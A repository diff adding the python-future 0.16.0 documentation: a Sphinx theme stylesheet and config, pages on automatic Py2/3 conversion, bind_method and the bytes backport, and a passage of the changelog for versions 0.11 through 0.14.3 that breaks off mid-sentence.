+ * Based on jinja.css_t.
+ *
+ * :copyright: Copyright 2011 by Armin Ronacher.
+ * :license: Flask Design License, see LICENSE for details.
+ */
+
+@import url(http://fonts.googleapis.com/css?family=Oxygen);
+
+{% set page_width = '940px' %}
+{% set sidebar_width = '220px' %}
+{% set font_family = 'Geneva, sans serif' %}
+{% set header_font_family = 'Oxygen, ' ~ font_family %}
+ 
+@import url("basic.css");
+ 
+/* -- page layout ----------------------------------------------------------- */
+ 
+body {
+    font-family: {{ font_family }};
+    font-size: 17px;
+    background-color: white;
+    color: #000;
+    margin: 0;
+    padding: 0;
+}
+
+div.document {
+    width: {{ page_width }};
+    margin: 30px auto 0 auto;
+}
+
+div.documentwrapper {
+    float: left;
+    width: 100%;
+}
+
+div.bodywrapper {
+    margin: 0 0 0 {{ sidebar_width }};
+}
+
+div.sphinxsidebar {
+    width: {{ sidebar_width }};
+}
+
+hr {
+    border: 1px solid #B1B4B6;
+}
+ 
+div.body {
+    background-color: #ffffff;
+    color: #3E4349;
+    padding: 0 30px 0 30px;
+}
+
+img.floatingflask {
+    padding: 0 0 10px 10px;
+    float: right;
+}
+ 
+div.footer {
+    width: {{ page_width }};
+    margin: 20px auto 30px auto;
+    font-size: 14px;
+    color: #888;
+    text-align: right;
+}
+
+div.footer a {
+    color: #888;
+}
+
+div.related {
+    display: none;
+}
+ 
+div.sphinxsidebar a {
+    color: #444;
+    text-decoration: none;
+    border-bottom: 1px dotted #999;
+}
+
+div.sphinxsidebar a:hover {
+    border-bottom: 1px solid #999;
+}
+ 
+div.sphinxsidebar {
+    font-size: 15px;
+    line-height: 1.5;
+}
+
+div.sphinxsidebarwrapper {
+    padding: 18px 10px;
+}
+
+div.sphinxsidebarwrapper p.logo {
+    padding: 0 0 20px 0;
+    margin: 0;
+    text-align: center;
+}
+ 
+div.sphinxsidebar h3,
+div.sphinxsidebar h4 {
+    font-family: {{ font_family }};
+    color: #444;
+    font-size: 24px;
+    font-weight: normal;
+    margin: 0 0 5px 0;
+    padding: 0;
+}
+
+div.sphinxsidebar h4 {
+    font-size: 20px;
+}
+ 
+div.sphinxsidebar h3 a {
+    color: #444;
+}
+
+div.sphinxsidebar p.logo a,
+div.sphinxsidebar h3 a,
+div.sphinxsidebar p.logo a:hover,
+div.sphinxsidebar h3 a:hover {
+    border: none;
+}
+ 
+div.sphinxsidebar p {
+    color: #555;
+    margin: 10px 0;
+}
+
+div.sphinxsidebar ul {
+    margin: 10px 0;
+    padding: 0;
+    color: #000;
+}
+ 
+div.sphinxsidebar input {
+    border: 1px solid #ccc;
+    font-family: {{ font_family }};
+    font-size: 14px;
+}
+
+div.sphinxsidebar form.search input[name="q"] {
+    width: 130px;
+}
+ 
+/* -- body styles ----------------------------------------------------------- */
+ 
+a {
+    color: #aa0000;
+    text-decoration: underline;
+}
+ 
+a:hover {
+    color: #dd0000;
+    text-decoration: underline;
+}
+ 
+div.body h1,
+div.body h2,
+div.body h3,
+div.body h4,
+div.body h5,
+div.body h6 {
+    font-family: {{ header_font_family }};
+    font-weight: normal;
+    margin: 30px 0px 10px 0px;
+    padding: 0;
+    color: black;
+}
+ 
+div.body h1 { margin-top: 0; padding-top: 0; font-size: 240%; }
+div.body h2 { font-size: 180%; }
+div.body h3 { font-size: 150%; }
+div.body h4 { font-size: 130%; }
+div.body h5 { font-size: 100%; }
+div.body h6 { font-size: 100%; }
+ 
+a.headerlink {
+    color: #ddd;
+    padding: 0 4px;
+    text-decoration: none;
+}
+ 
+a.headerlink:hover {
+    color: #444;
+    background: #eaeaea;
+}
+ 
+div.body p, div.body dd, div.body li {
+    line-height: 1.4em;
+}
+
+div.admonition {
+    background: #fafafa;
+    margin: 20px -30px;
+    padding: 10px 30px;
+    border-top: 1px solid #ccc;
+    border-bottom: 1px solid #ccc;
+}
+
+div.admonition tt.xref, div.admonition a tt {
+    border-bottom: 1px solid #fafafa;
+}
+
+dd div.admonition {
+    margin-left: -60px;
+    padding-left: 60px;
+}
+
+div.admonition p.admonition-title {
+    font-family: {{ font_family }};
+    font-weight: normal;
+    font-size: 24px;
+    margin: 0 0 10px 0;
+    padding: 0;
+    line-height: 1;
+}
+
+div.admonition p.last {
+    margin-bottom: 0;
+}
+
+div.highlight {
+    background-color: white;
+}
+
+dt:target, .highlight {
+    background: #FAF3E8;
+}
+
+div.note {
+    background-color: #eee;
+    border: 1px solid #ccc;
+}
+ 
+div.seealso {
+    background-color: #ffc;
+    border: 1px solid #ff6;
+}
+ 
+div.topic {
+    background-color: #eee;
+}
+ 
+p.admonition-title {
+    display: inline;
+}
+ 
+p.admonition-title:after {
+    content: ":";
+}
+
+pre, tt {
+    font-family: 'Consolas', 'Menlo', 'Deja Vu Sans Mono', 'Bitstream Vera Sans Mono', monospace;
+    font-size: 0.85em;
+}
+
+img.screenshot {
+}
+
+tt.descname, tt.descclassname {
+    font-size: 0.95em;
+}
+
+tt.descname {
+    padding-right: 0.08em;
+}
+
+img.screenshot {
+    -moz-box-shadow: 2px 2px 4px #eee;
+    -webkit-box-shadow: 2px 2px 4px #eee;
+    box-shadow: 2px 2px 4px #eee;
+}
+
+table.docutils {
+    border: 1px solid #888;
+    -moz-box-shadow: 2px 2px 4px #eee;
+    -webkit-box-shadow: 2px 2px 4px #eee;
+    box-shadow: 2px 2px 4px #eee;
+}
+
+table.docutils td, table.docutils th {
+    border: 1px solid #888;
+    padding: 0.25em 0.7em;
+}
+
+table.field-list, table.footnote {
+    border: none;
+    -moz-box-shadow: none;
+    -webkit-box-shadow: none;
+    box-shadow: none;
+}
+
+table.footnote {
+    margin: 15px 0;
+    width: 100%;
+    border: 1px solid #eee;
+    background: #fdfdfd;
+    font-size: 0.9em;
+}
+
+table.footnote + table.footnote {
+    margin-top: -15px;
+    border-top: none;
+}
+
+table.field-list th {
+    padding: 0 0.8em 0 0;
+}
+
+table.field-list td {
+    padding: 0;
+}
+
+table.footnote td.label {
+    width: 0px;
+    padding: 0.3em 0 0.3em 0.5em;
+}
+
+table.footnote td {
+    padding: 0.3em 0.5em;
+}
+
+dl {
+    margin: 0;
+    padding: 0;
+}
+
+dl dd {
+    margin-left: 30px;
+}
+
+blockquote {
+    margin: 0 0 0 30px;
+    padding: 0;
+}
+
+ul, ol {
+    margin: 10px 0 10px 30px;
+    padding: 0;
+}
+ 
+pre {
+    background: #eee;
+    padding: 7px 30px;
+    margin: 15px -30px;
+    line-height: 1.3em;
+}
+
+dl pre, blockquote pre, li pre {
+    margin-left: -60px;
+    padding-left: 60px;
+}
+
+dl dl pre {
+    margin-left: -90px;
+    padding-left: 90px;
+}
+ 
+tt {
+    background-color: #E8EFF0;
+    color: #222;
+    /* padding: 1px 2px; */
+}
+
+tt.xref, a tt {
+    background-color: #E8EFF0;
+    border-bottom: 1px solid white;
+}
+
+a.reference {
+    text-decoration: none;
+    border-bottom: 1px dotted #bb0000;
+}
+
+a.reference:hover {
+    border-bottom: 1px solid #dd0000;
+}
+
+a.footnote-reference {
+    text-decoration: none;
+    font-size: 0.7em;
+    vertical-align: top;
+    border-bottom: 1px dotted #bb0000;
+}
+
+a.footnote-reference:hover {
+    border-bottom: 1px solid #dd0000;
+}
+
+a:hover tt {
+    background: #EEE;
+}

+ 3 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/future/theme.conf

@@ -0,0 +1,3 @@
+[theme]
+inherit = basic
+stylesheet = future.css

+ 30 - 0
desktop/core/ext-py/future-0.16.0/docs/automatic_conversion.rst

@@ -0,0 +1,30 @@
+.. _automatic-conversion:
+
+Automatic conversion to Py2/3
+=============================
+
+The ``future`` source tree includes scripts called ``futurize`` and
+``pasteurize`` to aid in making Python 2 code or Python 3 code compatible with
+both platforms (Py2/3) using the :mod:`future` module. These are based on
+``lib2to3`` and use fixers from ``2to3``, ``3to2``, and ``python-modernize``.
+
+``futurize`` passes Python 2 code through all the appropriate fixers to turn it
+into valid Python 3 code, and then adds ``__future__`` and ``future`` package
+imports.
+
+For conversions from Python 3 code to Py2/3, use the ``pasteurize`` script
+instead. This converts Py3-only constructs (e.g. new metaclass syntax) and adds
+``__future__`` and ``future`` imports to the top of each module.
+
+In both cases, the result should be relatively clean Py3-style code that runs
+mostly unchanged on both Python 2 and Python 3.
+
+
+.. include:: futurize.rst
+
+.. include:: futurize_cheatsheet.rst
+
+.. include:: pasteurize.rst
+
+.. include:: conversion_limitations.rst
+

+ 29 - 0
desktop/core/ext-py/future-0.16.0/docs/bind_method.rst

@@ -0,0 +1,29 @@
+.. _bind-method:
+
+Binding a method to a class
+---------------------------
+
+Python 2 draws a distinction between bound and unbound methods, whereas
+in Python 3 this distinction is gone: unbound methods have been removed
+from the language. To bind a method to a class compatibly across Python
+3 and Python 2, you can use the :func:`bind_method` helper function::
+
+    from future.utils import bind_method
+    
+    class Greeter(object):
+        pass
+    
+    def greet(self, message):
+        print(message)
+
+    bind_method(Greeter, 'greet', greet)
+
+    g = Greeter()
+    g.greet('Hi!')
+
+
+On Python 3, calling ``bind_method(cls, name, func)`` is equivalent to
+calling ``setattr(cls, name, func)``. On Python 2 it is equivalent to::
+    
+    import types
+    setattr(cls, name, types.MethodType(func, None, cls))

+ 81 - 0
desktop/core/ext-py/future-0.16.0/docs/bytes_object.rst

@@ -0,0 +1,81 @@
+.. _bytes-object:
+
+bytes
+-----
+
+Handling ``bytes`` consistently and correctly has traditionally been one
+of the most difficult tasks in writing a Py2/3 compatible codebase. This
+is because the Python 2 :class:`bytes` object is simply an alias for
+Python 2's :class:`str`, rather than a true implementation of the Python
+3 :class:`bytes` object, which is substantially different.
+
+:mod:`future` contains a backport of the :mod:`bytes` object from Python 3
+which passes most of the Python 3 tests for :mod:`bytes`. (See
+``tests/test_future/test_bytes.py`` in the source tree.) You can use it as
+follows::
+
+    >>> from builtins import bytes
+    >>> b = bytes(b'ABCD')
+
+On Py3, this is simply the builtin :class:`bytes` object. On Py2, this
+object is a subclass of Python 2's :class:`str` that enforces the same
+strict separation of unicode strings and byte strings as Python 3's
+:class:`bytes` object::
+
+    >>> b + u'EFGH'      # TypeError
+    Traceback (most recent call last):
+      File "<stdin>", line 1, in <module>
+    TypeError: argument can't be unicode string
+    
+    >>> bytes(b',').join([u'Fred', u'Bill'])
+    Traceback (most recent call last):
+      File "<stdin>", line 1, in <module>
+    TypeError: sequence item 0: expected bytes, found unicode string
+
+    >>> b == u'ABCD'
+    False
+
+    >>> b < u'abc'
+    Traceback (most recent call last):
+      File "<stdin>", line 1, in <module>
+    TypeError: unorderable types: bytes() and <type 'unicode'>
+
+
+In most other ways, these :class:`bytes` objects have identical
+behaviours to Python 3's :class:`bytes`::
+
+    b = bytes(b'ABCD')
+    assert list(b) == [65, 66, 67, 68]
+    assert repr(b) == "b'ABCD'"
+    assert b.split(b'B') == [b'A', b'CD']
+
+Currently the easiest way to ensure identical behaviour of byte-strings
+in a Py2/3 codebase is to wrap all byte-string literals ``b'...'`` in a
+:func:`~bytes` call as follows::
+    
+    from builtins import bytes
+    
+    # ...
+
+    b = bytes(b'This is my bytestring')
+
+    # ...
+
+This is not perfect, but it is superior to manually debugging and fixing
+code incompatibilities caused by the many differences between Py3 bytes
+and Py2 strings.
+
+
+The :class:`bytes` type from :mod:`builtins` also provides support for the
+``surrogateescape`` error handler on Python 2.x. Here is an example that works
+identically on Python 2.x and 3.x::
+
+    >>> from builtins import bytes
+    >>> b = bytes(b'\xff')
+    >>> b.decode('utf-8', 'surrogateescape')
+    '\udcc3'
+
+This feature is in alpha. Please leave feedback `here
+<https://github.com/PythonCharmers/python-future/issues>`_ about whether this
+works for you.
+ 

+ 1124 - 0
desktop/core/ext-py/future-0.16.0/docs/changelog.rst

@@ -0,0 +1,1124 @@
+.. _whats-old:
+
+Changes in previous versions
+****************************
+
+Changes in the most recent major version are here: :ref:`whats-new`.
+
+.. _whats-new-0.14.x:
+
+Changes in version 0.14.3 (2014-12-15)
+======================================
+
+This is a bug-fix release:
+
+- Expose contents of ``thread`` (not ``dummy_thread``) as ``_thread`` on Py2 (Issue #124)
+- Add signed support for ``newint.to_bytes()`` (Issue #128)
+- Fix ``OrderedDict.clear()`` on Py2.6 (Issue #125)
+- Improve ``newrange``: equality and slicing, start/stop/step properties, refactoring (Issues #129, #130)
+- Minor doc updates
+
+Changes in version 0.14.2 (2014-11-21)
+======================================
+
+This is a bug-fix release:
+
+- Speed up importing of ``past.translation`` (Issue #117)
+- ``html.escape()``: replace function with the more robust one from Py3.4
+- ``futurize``: avoid displacing encoding comments by ``__future__`` imports (Issues #97, #10, #121)
+- ``futurize``: don't swallow exit code (Issue #119)
+- Packaging: don't forcibly remove the old build dir in ``setup.py`` (Issue #108)
+- Docs: update further docs and tests to refer to ``install_aliases()`` instead of
+  ``install_hooks()``
+- Docs: fix ``iteritems`` import error in cheat sheet (Issue #120)
+- Tests: don't rely on presence of ``test.test_support`` on Py2 or ``test.support`` on Py3 (Issue #109)
+- Tests: don't override existing ``PYTHONPATH`` for tests (PR #111)
+
+Changes in version 0.14.1 (2014-10-02)
+======================================
+
+This is a minor bug-fix release:
+
+- Docs: add a missing template file for building docs (Issue #108)
+- Tests: fix a bug in error handling while reporting failed script runs (Issue #109)
+- ``install_aliases()``: don't assume that the ``test.test_support`` module always
+  exists on Py2 (Issue #109)
+
+
+Changes in version 0.14.0 (2014-10-02)
+======================================
+
+This is a major new release that offers a cleaner interface for most imports in
+Python 2/3 compatible code.
+
+Instead of this interface::
+
+    >>> from future.builtins import str, open, range, dict
+
+    >>> from future.standard_library import hooks
+    >>> with hooks():
+    ...     import queue
+    ...     import configparser
+    ...     import tkinter.dialog
+    ...     # etc.
+
+You can now use the following interface for much Python 2/3 compatible code::
+
+    >>> # Alias for future.builtins on Py2:
+    >>> from builtins import str, open, range, dict
+
+    >>> # Alias for future.moves.* on Py2:
+    >>> import queue
+    >>> import configparser
+    >>> import tkinter.dialog
+    >>> etc.
+
+Notice that the above code will run on Python 3 even without the presence of the
+``future`` package. Of the 44 standard library modules that were refactored with
+PEP 3108, 30 are supported with direct imports in this manner. (These are listed
+here: :ref:`direct-imports`.)
+
+The other 14 standard library modules that kept the same top-level names in
+Py3.x are not supported with this direct import interface on Py2. These include
+the 5 modules in the Py3 ``urllib`` package. These modules are accessible through
+the following interface (as well as the interfaces offered in previous versions
+of ``python-future``)::
+
+    from future.standard_library import install_aliases
+    install_aliases()
+
+    from collections import UserDict, UserList, UserString
+    import dbm.gnu
+    from itertools import filterfalse, zip_longest
+    from subprocess import getoutput, getstatusoutput
+    from sys import intern
+    import test.support
+    from urllib.request import urlopen
+    from urllib.parse import urlparse
+    # etc.
+    from collections import Counter, OrderedDict     # backported to Py2.6
+
+The complete list of packages supported with this interface is here:
+:ref:`list-standard-library-refactored`.
+
+For more information on these and other interfaces to the standard library, see
+:ref:`standard-library-imports`.
+
+Bug fixes
+---------
+
+- This release expands the ``future.moves`` package to include most of the remaining
+  modules that were moved in the standard library reorganization (PEP 3108).
+  (Issue #104)
+
+- This release also removes the broken ``--doctests_only`` option from the ``futurize``
+  and ``pasteurize`` scripts for now. (Issue #103)
+
+Internal cleanups
+-----------------
+
+The project folder structure has changed. Top-level packages are now in a
+``src`` folder and the tests have been moved into a project-level ``tests``
+folder.
+
+The following deprecated internal modules have been removed (Issue #80):
+
+- ``future.utils.encoding`` and ``future.utils.six``.
+
+Deprecations
+------------
+
+The following internal functions have been deprecated and will be removed in a future release:
+
+- ``future.standard_library.scrub_py2_sys_modules``
+- ``future.standard_library.scrub_future_sys_modules``
+
+
+.. _whats-new-0.13.x:
+
+Changes in version 0.13.1 (2014-09-23)
+======================================
+
+This is a bug-fix release:
+
+- Fix (multiple) inheritance of ``future.builtins.object`` with metaclasses (Issues #91, #96)
+- Fix ``futurize``'s refactoring of ``urllib`` imports (Issue #94)
+- Fix ``futurize --all-imports`` (Issue #101)
+- Fix ``futurize --output-dir`` logging (Issue #102)
+- Doc formatting fix (Issues #98, #100)
+
+
+Changes in version 0.13.0 (2014-08-13)
+======================================
+
+This is mostly a clean-up release. It adds some small new compatibility features
+and fixes several bugs.
+
+Deprecations
+------------
+
+The following unused internal modules are now deprecated. They will be removed in a
+future release:
+
+- ``future.utils.encoding`` and ``future.utils.six``.
+
+(Issue #80). See `here <http://fedoraproject.org/wiki/Packaging:No_Bundled_Libraries>`_
+for the rationale for unbundling them.
+
+
+New features
+------------
+
+- Docs: Add :ref:`compatible-idioms` from Ed Schofield's PyConAU 2014 talk.
+- Add ``newint.to_bytes()`` and ``newint.from_bytes()``. (Issue #85)
+- Add ``future.utils.raise_from`` as an equivalent to Py3's ``raise ... from
+  ...`` syntax. (Issue #86)
+- Add ``past.builtins.oct()`` function.
+- Add backports for Python 2.6 of ``subprocess.check_output()``,
+  ``itertools.combinations_with_replacement()``, and ``functools.cmp_to_key()``.
+
+Bug fixes
+---------
+
+- Use a private logger instead of the global logger in
+  ``future.standard_library`` (Issue #82). This restores compatibility of the
+  standard library hooks with ``flask``. (Issue #79)
+- Stage 1 of ``futurize`` no longer renames ``next`` methods to ``__next__``
+  (Issue #81). It still converts ``obj.next()`` method calls to
+  ``next(obj)`` correctly.
+- Prevent introduction of a second set of parentheses in ``print()`` calls in
+  some further cases.
+- Fix ``isinstance`` checks for subclasses of future types. (Issue #89)
+- Be explicit about encoding file contents as UTF-8 in unit tests. (Issue #63)
+  Useful for building RPMs and in other environments where ``LANG=C``.
+- Fix for 3-argument ``pow(x, y, z)`` with ``newint`` arguments. (Thanks to @str4d.)
+  (Issue #87)
+
+
+.. _whats-new-0.12.4:
+
+Changes in version 0.12.4 (2014-07-18)
+======================================
+
+- Fix upcasting behaviour of ``newint``. (Issue #76)
+
+
+.. _whats-new-0.12.3:
+
+Changes in version 0.12.3 (2014-06-19)
+======================================
+
+- Add "official Python 3.4 support": Py3.4 is now listed among the PyPI Trove
+  classifiers and the tests now run successfully on Py3.4. (Issue #67)
+
+- Add backports of ``collections.OrderedDict`` and
+  ``collections.Counter`` for Python 2.6. (Issue #52)
+
+- Add ``--version`` option for ``futurize`` and ``pasteurize`` scripts.
+  (Issue #57)
+
+- Fix ``future.utils.ensure_new_type`` with ``long`` input. (Issue #65)
+
+- Remove some false alarms on checks for ambiguous fixer names with
+  ``futurize -f ...``.
+
+- Testing fixes:
+    - Don't hard-code Python interpreter command in tests. (Issue #62)
+    - Fix deprecated ``unittest`` usage in Py3. (Issue #62)
+    - Be explicit about encoding temporary file contents as UTF-8 for
+      when ``LANG=C`` (e.g., when building an RPM). (Issue #63)
+    - All undecorated tests are now passing again on Python 2.6, 2.7, 3.3,
+      and 3.4 (thanks to Elliott Sales de Andrade).
+
+- Docs:
+    - Add list of fixers used by ``futurize``. (Issue #58)
+    - Add list of contributors to the Credits page.
+
+.. _whats-new-0.12.2:
+
+Changes in version 0.12.2 (2014-05-25)
+======================================
+
+- Add ``bytes.maketrans()`` method. (Issue #51)
+- Add support for Python versions between 2.7.0 and 2.7.3 (inclusive).
+  (Issue #53)
+- Bug fix for ``newlist(newlist([1, 2, 3]))``. (Issue #50)
+
+
+.. _whats-new-0.12.1:
+
+Changes in version 0.12.1 (2014-05-14)
+======================================
+
+- Python 2.6 support: ``future.standard_library`` now isolates the ``importlib``
+  dependency to one function (``import_``) so the ``importlib`` backport may
+  not be needed.
+
+- Doc updates
+
+
+.. _whats-new-0.12:
+
+Changes in version 0.12.0 (2014-05-06)
+======================================
+
+The major new feature in this version is improvements in the support for the
+reorganized standard library (PEP 3108) and compatibility of the import
+mechanism with 3rd-party modules.
+
+More robust standard-library import hooks
+-----------------------------------------
+
+**Note: backwards-incompatible change:** As previously announced (see
+:ref:`deprecated-auto-import-hooks`), the import hooks must now be enabled
+explicitly, as follows::
+
+    from future import standard_library
+    with standard_library.hooks():
+        import html.parser
+        import http.client
+        ...
+
+This now causes these modules to be imported from ``future.moves``, a new
+package that provides wrappers over the native Python 2 standard library with
+the new Python 3 organization. As a consequence, the import hooks provided in
+``future.standard_library`` are now fully compatible with the `Requests library
+<http://python-requests.org>`_.
+
+The functional interface with ``install_hooks()`` is still supported for
+backwards compatibility::
+
+    from future import standard_library
+    standard_library.install_hooks():
+
+    import html.parser
+    import http.client
+    ...
+    standard_library.remove_hooks()
+
+Explicit installation of import hooks allows finer-grained control
+over whether they are enabled for other imported modules that provide their own
+Python 2/3 compatibility layer. This also improves compatibility of ``future``
+with tools like ``py2exe``.
+
+
+``newobject`` base object defines fallback Py2-compatible special methods
+-------------------------------------------------------------------------
+
+There is a new ``future.types.newobject`` base class (available as
+``future.builtins.object``) that can streamline Py2/3 compatible code by
+providing fallback Py2-compatible special methods for its subclasses. It
+currently provides ``next()`` and ``__nonzero__()`` as fallback methods on Py2
+when its subclasses define the corresponding Py3-style ``__next__()`` and
+``__bool__()`` methods.
+
+This obviates the need to add certain compatibility hacks or decorators to the
+code such as the ``@implements_iterator`` decorator for classes that define a
+Py3-style ``__next__`` method.
+
+In this example, the code defines a Py3-style iterator with a ``__next__``
+method. The ``object`` class defines a ``next`` method for Python 2 that maps
+to ``__next__``::
+    
+    from future.builtins import object
+
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):                 # note the Py3 interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+
+    assert list(Upper('hello')) == list('HELLO')
+
+``newobject`` defines other Py2-compatible special methods similarly:
+currently these include ``__nonzero__`` (mapped to ``__bool__``) and
+``__long__`` (mapped to ``__int__``).
+
+Inheriting from ``newobject`` on Python 2 is safe even if your class defines
+its own Python 2-style ``__nonzero__`` and ``next`` and ``__long__`` methods.
+Your custom methods will simply override those on the base class.
+
+On Python 3, as usual, ``future.builtins.object`` simply refers to ``builtins.object``.
+
+
+``past.builtins`` module improved
+---------------------------------
+
+The ``past.builtins`` module is much more compatible with the corresponding
+builtins on Python 2; many more of the Py2 unit tests pass on Py3. For example,
+functions like ``map()`` and ``filter()`` now behave as they do on Py2 with with
+``None`` as the first argument.
+
+The ``past.builtins`` module has also been extended to add Py3 support for
+additional Py2 constructs that are not adequately handled by ``lib2to3`` (see
+Issue #37). This includes new ``execfile()`` and ``cmp()`` functions.
+``futurize`` now invokes imports of these functions from ``past.builtins``.
+
+
+``surrogateescape`` error handler
+---------------------------------
+
+The ``newstr`` type (``future.builtins.str``) now supports a backport of the
+Py3.x ``'surrogateescape'`` error handler for preserving high-bit
+characters when encoding and decoding strings with unknown encodings.
+
+
+``newlist`` type
+----------------
+
+There is a new ``list`` type in ``future.builtins`` that offers ``.copy()`` and
+``.clear()`` methods like the ``list`` type in Python 3.
+
+
+``listvalues`` and ``listitems``
+--------------------------------
+
+``future.utils`` now contains helper functions ``listvalues`` and
+``listitems``, which provide Python 2-style list snapshotting semantics for
+dictionaries in both Python 2 and Python 3.
+
+These came out of the discussion around Nick Coghlan's now-withdrawn PEP 469.
+
+There is no corresponding ``listkeys(d)`` function; use ``list(d)`` instead.
+
+
+Tests
+-----
+
+The number of unit tests has increased from 600 to over 800. Most of the new
+tests come from Python 3.3's test suite.
+
+
+Refactoring of ``future.standard_library.*`` -> ``future.backports``
+--------------------------------------------------------------------
+
+The backported standard library modules have been moved to ``future.backports``
+to make the distinction clearer between these and the new ``future.moves``
+package.
+
+
+Backported ``http.server`` and ``urllib`` modules
+-------------------------------------------------
+
+Alpha versions of backports of the ``http.server`` and ``urllib`` module from
+Python 3.3's standard library are now provided in ``future.backports``.
+
+Use them like this::
+
+    from future.backports.urllib.request import Request    # etc.
+    from future.backports.http import server as http_server
+
+Or with this new interface::
+
+    from future.standard_library import import_, from_import
+
+    Request = from_import('urllib.request', 'Request', backport=True)
+    http = import_('http.server', backport=True)
+
+..    from future.standard_library.email import message_from_bytes  # etc.
+..    from future.standard_library.xmlrpc import client, server
+
+
+Internal refactoring
+--------------------
+
+The ``future.builtins.types`` module has been moved to ``future.types``.
+Likewise, ``past.builtins.types`` has been moved to ``past.types``. The only
+user-visible effect of this is to change ``repr(type(obj))`` for instances
+of these types. For example::
+
+    >>> from future.builtins import bytes
+    >>> bytes(b'abc')
+    >>> type(b)
+    future.types.newbytes.newbytes
+
+Instead of::
+
+    >>> type(b)           # prior to v0.12
+    future.builtins.types.newbytes.newbytes
+
+
+Bug fixes
+---------
+
+Many small improvements and fixes have been made across the project. Some highlights are:
+
+- Fixes and updates from Python 3.3.5 have been included in the backported
+  standard library modules.
+
+- Scrubbing of the ``sys.modules`` cache performed by ``remove_hooks()`` (also
+  called by the ``suspend_hooks`` and ``hooks`` context managers) is now more
+  conservative.
+  
+..  Is this still true?
+..  It now removes only modules with Py3 names (such as
+..  ``urllib.parse``) and not the corresponding ``future.standard_library.*``
+..  modules (such as ``future.standard_library.urllib.parse``.
+
+- The ``fix_next`` and ``fix_reduce`` fixers have been moved to stage 1 of
+  ``futurize``.
+
+- ``futurize``: Shebang lines such as ``#!/usr/bin/env python`` and source code
+  file encoding declarations like ``# -*- coding=utf-8 -*-`` are no longer occasionally
+  displaced by ``from __future__ import ...`` statements. (Issue #10)
+
+- Improved compatibility with ``py2exe`` (`Issue #31 <https://github.com/PythonCharmers/python-future/issues/31>`_).
+
+- The ``future.utils.bytes_to_native_str`` function now returns a platform-native string
+  object and ``future.utils.native_str_to_bytes`` returns a ``newbytes`` object on Py2.
+  (`Issue #47 <https://github.com/PythonCharmers/python-future/issues/47>`_).
+
+- The backported ``http.client`` module and related modules use other new
+  backported modules such as ``email``. As a result they are more compliant
+  with the Python 3.3 equivalents.
+
+
+.. _whats-new-0.11.4:
+
+Changes in version 0.11.4 (2014-05-25)
+======================================
+
+This release contains various small improvements and fixes:
+
+- This release restores Python 2.6 compatibility. (Issue #42)
+
+- The ``fix_absolute_import`` fixer now supports Cython ``.pyx`` modules. (Issue
+  #35)
+
+- Right-division with ``newint`` objects is fixed. (Issue #38)
+
+- The ``fix_dict`` fixer has been moved to stage2 of ``futurize``.
+
+- Calls to ``bytes(string, encoding[, errors])`` now work with ``encoding`` and
+  ``errors`` passed as positional arguments. Previously this only worked if
+  ``encoding`` and ``errors`` were passed as keyword arguments.
+
+
+- The 0-argument ``super()`` function now works from inside static methods such
+  as ``__new__``. (Issue #36)
+
+- ``future.utils.native(d)`` calls now work for ``future.builtins.dict`` objects.
+
+
+.. _whats-new-0.11.3:
+
+Changes in version 0.11.3 (2014-02-27)
+======================================
+
+This release has improvements in the standard library import hooks mechanism and
+its compatibility with 3rd-party modules:
+
+
+Improved compatibility with ``requests``
+----------------------------------------
+
+The ``__exit__`` function of the ``hooks`` context manager and the
+``remove_hooks`` function both now remove submodules of
+``future.standard_library`` from the ``sys.modules`` cache. Therefore this code
+is now possible on Python 2 and 3::
+
+       from future import standard_library
+       standard_library.install_hooks()
+       import http.client
+       standard_library.remove_hooks()
+       import requests
+
+       data = requests.get('http://www.google.com')
+
+
+Previously, this required manually removing ``http`` and ``http.client`` from
+``sys.modules`` before importing ``requests`` on Python 2.x. (Issue #19)
+   
+This change should also improve the compatibility of the standard library hooks
+with any other module that provides its own Python 2/3 compatibility code.
+
+Note that the situation will improve further in version 0.12; import hooks will
+require an explicit function call or the ``hooks`` context manager.
+
+
+Conversion scripts explicitly install import hooks
+--------------------------------------------------
+
+The ``futurize`` and ``pasteurize`` scripts now add an explicit call to
+``install_hooks()`` to install the standard library import hooks. These scripts
+now add these two lines::
+
+       from future import standard_library
+       standard_library.install_hooks()
+
+instead of just the first one. The next major version of ``future`` (0.12) will
+require the explicit call or use of the ``hooks`` context manager. This will
+allow finer-grained control over whether import hooks are enabled for other
+imported modules, such as ``requests``, which provide their own Python 2/3
+compatibility code.
+
+
+``futurize`` script no longer adds ``unicode_literals`` by default
+------------------------------------------------------------------
+
+There is a new ``--unicode-literals`` flag to ``futurize`` that adds the
+import::
+    
+    from __future__ import unicode_literals
+
+to the top of each converted module. Without this flag, ``futurize`` now no
+longer adds this import. (Issue #22)
+
+The ``pasteurize`` script for converting from Py3 to Py2/3 still adds
+``unicode_literals``. (See the comments in Issue #22 for an explanation.)
+
+
+.. _whats-new-0.11:
+
+Changes in version 0.11 (2014-01-28)
+====================================
+
+There are several major new features in version 0.11. 
+
+
+``past`` package
+----------------
+
+The python-future project now provides a ``past`` package in addition to the
+``future`` package. Whereas ``future`` provides improved compatibility with
+Python 3 code to Python 2, ``past`` provides support for using and interacting
+with Python 2 code from Python 3. The structure reflects that of ``future``,
+with ``past.builtins`` and ``past.utils``. There is also a new
+``past.translation`` package that provides transparent translation of Python 2
+code to Python 3. (See below.)
+
+One purpose of ``past`` is to ease module-by-module upgrades to
+codebases from Python 2. Another is to help with enabling Python 2 libraries to
+support Python 3 without breaking the API they currently provide. (For example,
+user code may expect these libraries to pass them Python 2's 8-bit strings,
+rather than Python 3's ``bytes`` object.) A third purpose is to help migrate
+projects to Python 3 even if one or more dependencies are still on Python 2.
+
+Currently ``past.builtins`` provides forward-ports of Python 2's ``str`` and
+``dict`` objects, ``basestring``, and list-producing iterator functions.  In
+later releases, ``past.builtins`` will be used internally by the
+``past.translation`` package to help with importing and using old Python 2
+modules in a Python 3 environment.
+
+
+Auto-translation of Python 2 modules upon import
+------------------------------------------------
+
+``past`` provides an experimental ``translation`` package to help
+with importing and using old Python 2 modules in a Python 3 environment.
+
+This is implemented using import hooks that attempt to automatically
+translate Python 2 modules to Python 3 syntax and semantics upon import. Use
+it like this::
+
+    $ pip3 install plotrique==0.2.5-7 --no-compile   # to ignore SyntaxErrors
+    $ python3
+    
+Then pass in a whitelist of module name prefixes to the ``past.autotranslate()``
+function. Example::
+    
+    >>> from past import autotranslate
+    >>> autotranslate(['plotrique'])
+    >>> import plotrique
+
+
+This is intended to help you migrate to Python 3 without the need for all
+your code's dependencies to support Python 3 yet. It should be used as a
